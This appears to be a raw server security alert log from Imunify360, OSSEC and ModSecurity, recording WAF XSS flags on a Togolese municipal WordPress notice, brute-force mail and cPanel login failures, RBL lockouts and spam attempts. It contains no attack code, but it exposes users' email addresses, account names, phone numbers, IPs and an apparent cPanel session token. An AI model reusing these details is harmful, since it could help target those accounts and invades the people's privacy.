plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:image {\"id\":13307,\"sizeslug\":\"large\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-03-05-at-06.53.45-1-1024x577.jpeg\" alt=\"\" class=\"wp-image-13307\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>dans un communiqu\xc3\xa9 en date du 5 juin 2026, le maire de la commune des lacs 1 sur instruction du ministre de l\xe2\x80\x99administration territoriale, invite les occupants des emprises r\xc3\xa9serv\xc3\xa9es aux lignes \xc3\xa9lectriques haute tension \xc3\xa0 les lib\xc3\xa9rer avec effet imm\xc3\xa9diat\xe2\x80\xa6 lire le communiqu\xc3\xa9 complet ci-dessu. </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:file {\"id\":13308,\"href\":\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/communique-n.013.pdf\",\"displaypreview\":true} -->\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/communique-n.013.pdf\" type=\"application/pdf\" style=\"width:100%;height:600px\" aria-label=\"communique n.013\"></object><a id=\"wp-block-file--media-1e2a783a-7e41-454d-9d44-12197daae298\" href=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/communique-n.013.pdf\">communique n.013</a><a href=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/communique-n.013.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-1e2a783a-7e41-454d-9d44-12197daae298\">t\xc3\xa9l\xc3\xa9charger</a></div>\n<!-- /wp:file -->\n\n<!-- wp:paragraph -->\n<p>cellule communication commune des lacs 1</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>contact : communication@lacs1/</p>\n<!-- /wp:paragraph -->||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:image {\"id\":13307,\"sizeslug\":\"large\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-03-05-at-06.53.45-1-1024x577.jpeg\" alt=\"\" class=\"wp-image-13307\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>dans un communiqu\xc3\xa9 en date du 5 juin 2026, le maire de la commune des lacs 1 sur instruction du ministre de l\xe2\x80\x99administration territoriale, invite les occupants des emprises r\xc3\xa9serv\xc3\xa9es aux lignes \xc3\xa9lectriques haute tension \xc3\xa0 les lib\xc3\xa9rer avec effet imm\xc3\xa9diat\xe2\x80\xa6 lire le communiqu\xc3\xa9 complet ci-dessu. </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:file {\"id\":13308,\"href\":\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/communique-n.013.pdf\",\"displaypreview\":true} -->\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/communique-n.013.pdf\" type=\"application/pdf\" style=\"width:100%;height:600px\" aria-label=\"communique n.013\"></object><a id=\"wp-block-file--media-1e2a783a-7e41-454d-9d44-12197daae298\" href=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/communique-n.013.pdf\">communique n.013</a><a href=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/communique-n.013.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-1e2a783a-7e41-454d-9d44-12197daae298\">t\xc3\xa9l\xc3\xa9charger</a></div>\n<!-- /wp:file -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>cellule communication commune des lacs 1</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>contact : communication@lacs1/whatsapp : 70 52 52 67/tel : 23 30 17 63</strong></p>\n<!-- /wp:paragraph -->||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:image {\"id\":13307,\"sizeslug\":\"large\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-03-05-at-06.53.45-1-1024x577.jpeg\" alt=\"\" class=\"wp-image-13307\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>dans un communiqu\xc3\xa9 en date du 5 juin 2026, le maire de la commune des lacs 1 sur instruction du ministre de l\xe2\x80\x99administration territoriale, invite les occupants avec effet imm\xc3\xa9diat, les emprises r\xc3\xa9serv\xc3\xa9es aux lignes \xc3\xa9lectriques haute tension \xc3\xa0 les lib\xc3\xa9rer avec effet imm\xc3\xa9diat\xe2\x80\xa6 lire le communiqu\xc3\xa9 complet ci-dessu. </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:file {\"id\":13308,\"href\":\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/communique-n.013.pdf\",\"displaypreview\":true} -->\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/communique-n.013.pdf\" type=\"application/pdf\" style=\"width:100%;height:600px\" aria-label=\"communique n.013\"></object><a id=\"wp-block-file--media-1e2a783a-7e41-454d-9d44-12197daae298\" href=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/communique-n.013.pdf\">communique n.013</a><a href=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/communique-n.013.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-1e2a783a-7e41-454d-9d44-12197daae298\">t\xc3\xa9l\xc3\xa9charger</a></div>\n<!-- /wp:file -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>cellule communication commune des lacs 1</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>contact : communication@lacs1/whatsapp : 70 52 52 67/tel : 23 30 17 63</strong></p>\n<!-- /wp:paragraph -->||RSV:8.14||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.132
country_id: 1880251
description:
47.128.96.132 - - [05/Jun/2026:18:19:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6867350&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdogta-lafie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780683583 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/dogta-lafie/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.132


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  5 18:20:00 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 18:20:02 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:52211: 535 Incorrect authentication data (set_id=files)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.229
country_id: 732800
description:
Jun  5 18:20:58 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.229 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-05 18:20:56 +0000] info [webmaild] 196.171.46.177 - kekeli.alemawo@togointerim.net "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:image {\"id\":13307,\"sizeslug\":\"large\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-03-05-at-06.53.45-1-1024x577.jpeg\" alt=\"\" class=\"wp-image-13307\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>dans un communiqu\xc3\xa9 en date du 5 juin 2026, le maire de la commune des lacs 1 sur instruction du ministre de l\xe2\x80\x99administration territoriale, invite les occupants \xc3\xa0 lib\xc3\xa9rer avec effet imm\xc3\xa9diat, les emprises r\xc3\xa9serv\xc3\xa9es aux lignes \xc3\xa9lectriques haute tension\xe2\x80\xa6 lire le communiqu\xc3\xa9 complet ci-dessus. </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:file {\"id\":13308,\"href\":\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/communique-n.013.pdf\",\"displaypreview\":true} -->\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/communique-n.013.pdf\" type=\"application/pdf\" style=\"width:100%;height:600px\" aria-label=\"communique n.013\"></object><a id=\"wp-block-file--media-1e2a783a-7e41-454d-9d44-12197daae298\" href=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/communique-n.013.pdf\">communique n.013</a><a href=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/communique-n.013.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-1e2a783a-7e41-454d-9d44-12197daae298\">t\xc3\xa9l\xc3\xa9charger</a></div>\n<!-- /wp:file -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>cellule communication commune des lacs 1</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>contact : communication@lacs1/whatsapp : 70 52 52 67/tel : 23 30 17 63</strong></p>\n<!-- /wp:paragraph -->||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.54
country_id: 3469034
description:
Jun  5 18:23:55 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.54 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.170.45.140
country_id: 2363686
description:
[2026-06-05 18:25:01 +0000] info [webmaild] 196.170.45.140 - aopsacai "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 82.115.47.36
country_id: 1522867
description:
2026-06-05 18:25:00 H=([82.115.47.36]) [82.115.47.36]:63935 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 37.99.38.159
country_id: 1522867
description:
2026-06-05 18:25:06 H=([37.99.38.159]) [37.99.38.159]:24675 F=<John@4452.com> rejected RCPT <info@sigm.tg>: Sender verify failed


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:image {\"id\":13307,\"sizeslug\":\"large\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-03-05-at-06.53.45-1-1024x577.jpeg\" alt=\"\" class=\"wp-image-13307\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>dans un communiqu\xc3\xa9 en date du 5 juin 2026, le maire de la commune des lacs 1 sur instruction du ministre de l\xe2\x80\x99administration territoriale, invite les occupants \xc3\xa0 lib\xc3\xa9rer avec effet imm\xc3\xa9diat, les emprises r\xc3\xa9serv\xc3\xa9es aux lignes \xc3\xa9lectriques haute tension\xe2\x80\xa6 lire le communiqu\xc3\xa9 complet ci-dessus. </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:file {\"id\":13308,\"href\":\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/communique-n.013.pdf\",\"displaypreview\":true} -->\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/communique-n.013.pdf\" type=\"application/pdf\" style=\"width:100%;height:600px\" aria-label=\"communique n.013\"></object><a id=\"wp-block-file--media-1e2a783a-7e41-454d-9d44-12197daae298\" href=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/communique-n.013.pdf\">communique n.013</a><a href=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/communique-n.013.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-1e2a783a-7e41-454d-9d44-12197daae298\">t\xc3\xa9l\xc3\xa9charger</a></div>\n<!-- /wp:file -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>cellule communication commune des lacs 1</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>contact : communication@lacs1/whatsapp : 70 52 52 67/tel : 23 30 17 63</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.0.186
country_id: 2363686
description:
[2026-06-05 18:26:07 +0000] info [webmaild] 196.168.0.186 - wages@wages.tg "GET /cpsess0484280762/3rdparty/roundcube/program/js/app.min.js?s=1774777727 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.170.45.140] != Current IP Address [196.168.0.186]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.0.186
country_id: 2363686
description:
[2026-06-05 18:27:14 +0000] info [webmaild] 196.168.0.186 - wages@wages.tg "GET /cpsess0484280762/3rdparty/roundcube/?_task=mail&_mbox=INBOX.Sent HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.170.45.140] != Current IP Address [196.168.0.186]


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Benefit from Your Prize Right Away eropolik.blogspot.hu bT||Email:abhinavth.th@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:18-26.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.247.100.84
country_id: 1269750
description:
Jun  5 18:27:31 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.247.100.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.63.138.70
country_id: 3469034
description:
Jun  5 18:28:29 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.63.138.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 41.215.149.182
country_id: 934841
description:
2026-06-05 18:28:45 H=([41.215.149.182]) [41.215.149.182]:50072 F=<John@4452.com> rejected RCPT <contact@dany2.mairie.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.71.21.70
country_id: 1562822
description:
2026-06-05 18:28:17 dovecot_login authenticator failed for H=([1.223.239.36]) [27.71.21.70]:7131: 535 Incorrect authentication data (set_id=delbegue.j@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.247.100.84
country_id: 1269750
description:
Jun  5 18:28:47 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.247.100.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  5 18:30:36 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:image {\"id\":13307,\"sizeslug\":\"large\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-03-05-at-06.53.45-1-1024x577.jpeg\" alt=\"\" class=\"wp-image-13307\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>dans un communiqu\xc3\xa9 en date du 5 juin 2026, le maire de la commune des lacs 1 sur instruction du ministre de l\xe2\x80\x99administration territoriale, invite les habitants concern\xc3\xa9s \xc3\xa0 lib\xc3\xa9rer avec effet imm\xc3\xa9diat, les emprises r\xc3\xa9serv\xc3\xa9es aux lignes \xc3\xa9lectriques haute tension\xe2\x80\xa6 lire le communiqu\xc3\xa9 complet ci-dessus. </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:file {\"id\":13308,\"href\":\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/communique-n.013.pdf\",\"displaypreview\":true} -->\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/communique-n.013.pdf\" type=\"application/pdf\" style=\"width:100%;height:600px\" aria-label=\"communique n.013\"></object><a id=\"wp-block-file--media-1e2a783a-7e41-454d-9d44-12197daae298\" href=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/communique-n.013.pdf\">communique n.013</a><a href=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/communique-n.013.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-1e2a783a-7e41-454d-9d44-12197daae298\">t\xc3\xa9l\xc3\xa9charger</a></div>\n<!-- /wp:file -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>cellule communication commune des lacs 1</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>contact : communication@lacs1/whatsapp : 70 52 52 67/tel : 23 30 17 63</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 18:30:38 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:50134: 535 Incorrect authentication data (set_id=data)


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - illene.e@inger.tg [06/05/2026:18:33:24 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: illene.e@inger.tg


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.159.182
country_id: 99237
description:
Jun  5 18:35:06 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.159.182 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 41.215.149.182
country_id: 934841
description:
2026-06-05 18:36:43 H=([41.215.149.182]) [41.215.149.182]:56267 F=<John@4452.com> rejected RCPT <contact@dany2.mairie.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.154
country_id: 2287781
description:
2026-06-05 18:35:49 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.154]:9600: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.154
country_id: 2287781
description:
2026-06-05 18:37:20 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.154]:21248: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.154
country_id: 2287781
description:
2026-06-05 18:38:20 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.154]:9088: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-05 18:39:16 +0000] info [webmaild] 196.171.46.177 - richard.attiogbe@togointerim.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.154
country_id: 2287781
description:
2026-06-05 18:39:30 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.154]:3968: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-05 18:39:32 +0000] info [webmaild] 196.171.46.177 - richard.attiogbe@togointerim.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-05 18:40:22 +0000] info [webmaild] 196.171.46.177 - richard.attiogbe@togointerim.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.154
country_id: 2287781
description:
2026-06-05 18:40:32 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.154]:3977: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 196.171.46.177
country_id: 2363686
description:
196.171.46.177 - - [05/Jun/2026:18:40:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999515&pdata=https%253A%252F%252Fns5.netmaster.tg%253A2096%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780684803 HTTP/2.0" 302 0 ns5.netmaster.tg "https://ns5.netmaster.tg:2096/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:196.171.46.177


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jun  5 18:41:35 ns5 pure-ftpd[1928570]: (?@47.84.199.24) [WARNING] Authentication failed for user [admin]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.154
country_id: 2287781
description:
2026-06-05 18:41:38 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.154]:3978: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  5 18:42:02 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 18:42:04 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:51024: 535 Incorrect authentication data (set_id=data)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.230.220.25
country_id: 6252001
description:
2026-06-05 18:42:30 dovecot_plain authenticator failed for H=(5r6c125d65r65eyrgtep6nq50uha9jv0) [157.230.220.25]:50218: 535 Incorrect authentication data (set_id=welldrive@confortis.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.154
country_id: 2287781
description:
2026-06-05 18:42:40 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.154]:3982: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.154
country_id: 2287781
description:
2026-06-05 18:43:41 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.154]:3983: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-05 18:42:58 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:46178: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-05 18:43:56 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:40968: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.154
country_id: 2287781
description:
2026-06-05 18:44:41 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.154]:3984: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.154
country_id: 2287781
description:
2026-06-05 18:45:42 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.154]:3985: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.154
country_id: 2287781
description:
2026-06-05 18:46:42 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.154]:3986: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  5 18:47:15 ns5 pure-ftpd[1932553]: (?@103.245.236.231) [INFO] New connection from 103.245.236.231


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  5 18:47:20 ns5 pure-ftpd[1932553]: (?@103.245.236.231) [WARNING] Authentication failed for user [www-data]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 194.62.157.75
country_id: 2750405
description:
[2026-06-05 18:47:33 +0000] info [cpaneld] 194.62.157.75 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.154
country_id: 2287781
description:
2026-06-05 18:47:46 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.154]:19584: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-05 18:48:20 +0000] info [webmaild] 196.171.46.177 - richard.attiogbe@togointerim.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.154
country_id: 2287781
description:
2026-06-05 18:48:43 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.154]:9600: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-05 18:48:45 +0000] info [cpaneld] 196.171.46.177 NEW togoinrdceh:eztyur84t3McMdLs address=196.171.46.177,app=cpaneld,creator=togoinrdceh,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 2501
name: User authentication failure.
description:
